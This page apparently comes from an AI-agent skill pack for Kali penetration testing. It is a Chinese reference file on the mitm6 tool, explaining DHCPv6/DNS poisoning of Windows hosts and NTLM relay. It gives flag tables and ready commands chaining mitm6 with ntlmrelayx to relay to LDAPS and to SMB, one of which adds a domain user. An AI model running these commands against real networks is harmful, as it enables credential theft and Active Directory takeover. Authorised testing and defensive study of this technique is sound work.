x-glacier/kali-pentest / kali-pentest-zh
kali-pentest-zh
Flagged通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。
references/exploitation/tools/mitm6.md
View on GitHub# mitm6
- **Category**: Exploitation / Active Directory Attacks
- **Risk Level**: 🔴 High
---
## 描述
利用 Windows 默认优先使用 IPv6 而非 IPv4 的特性,将自身伪装成流氓 DHCPv6 服务器,将网络中所有 Windows 主机的主 DNS 服务器设置为攻击者。一旦成为 DNS 服务器,即可将认证请求(NTLM)重定向到 ntlmrelayx 监听器。这是企业环境中最可靠的 Active Directory 初始访问技术之一——无需凭据即可使用。
## 安装
```bash
sudo apt install mitm6
```
## 参数说明
| 参数 | 说明 |
|------|------|
| `-i <interface>` | 监听的网络接口 |
| `-l <domain>` | 要设置的 DNS 搜索域(如 `corp.local`) |
| `-4 <ip>` | 响应中使用的 IPv4 地址 |
| `-6 <ip>` | 响应中使用的 IPv6 地址 |
| `-r <ip>` | Kerberos 认证中继目标 |
| `-d <domain>` | 允许列表中的特定域(仅对这些域进行投毒) |
| `-b <domain>` | 阻止列表中的特定域(永不对这些域投毒) |
| `-hw <hostname>` | 仅响应来自此主机名的 DHCPv6 请求 |
| `-hb <hostname>` | 忽略来自此主机名的 DHCPv6 请求 |
| `-a` / `--no-ra` | 不广播自身(适用于检测流氓 RA 的网络) |
| `-m <mac>` | 自定义 MAC 地址(默认:所选接口的 MAC) |
| `--ignore-nofqdn` | 忽略不含 FQDN 选项的 DHCPv6 查询 |
| `-v` | 详细输出 |
| `--debug` | 显示调试信息 |
## 常用命令
```bash
# 基本 mitm6 攻击(终端 1)
mitm6 -i eth0 -d corp.local
# 与 ntlmrelayx 组合攻击(终端 2)——中继以创建域管理员用户
impacket-ntlmrelayx -6 -t ldaps://192.168.1.10 -wh fakewpad.corp.local --delegate-access
# 中继到 SMB 以执行命令
impacket-ntlmrelayx -6 -t smb://192.168.1.20 -c "net user hacker Password1! /add /domain"
# 仅针对特定域(减少噪音)
mitm6 -i eth0 -d corp.local -b google.com -b microsoft.com
# 检查哪些主机响应(详细模式)
mitm6 -i eth0 -v
```
## 注意事项
1. 自动生效——Windows 主机会定期刷新 DHCP 租约;mitm6 通过 IPv6 抢先响应。
2. 始终在第二个终端同时运行 `impacket-ntlmrelayx`——mitm6 投毒 DNS,ntlmrelayx 捕获并中继凭据。
3. `-d corp.local` 将投毒范围限制在目标域——减少对网络的附带影响。
4. 对未强制 LDAP 签名的 AD 环境效果最佳(这是许多组织的默认配置)。
5. 清理:停止 mitm6 后租约计时器自然过期,主机会自动恢复原始 DNS。
---
## 官方参考
- [mitm6 (GitHub)](https://github.com/dirkjanm/mitm6)
- [Kali mitm6](https://www.kali.org/tools/mitm6/)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |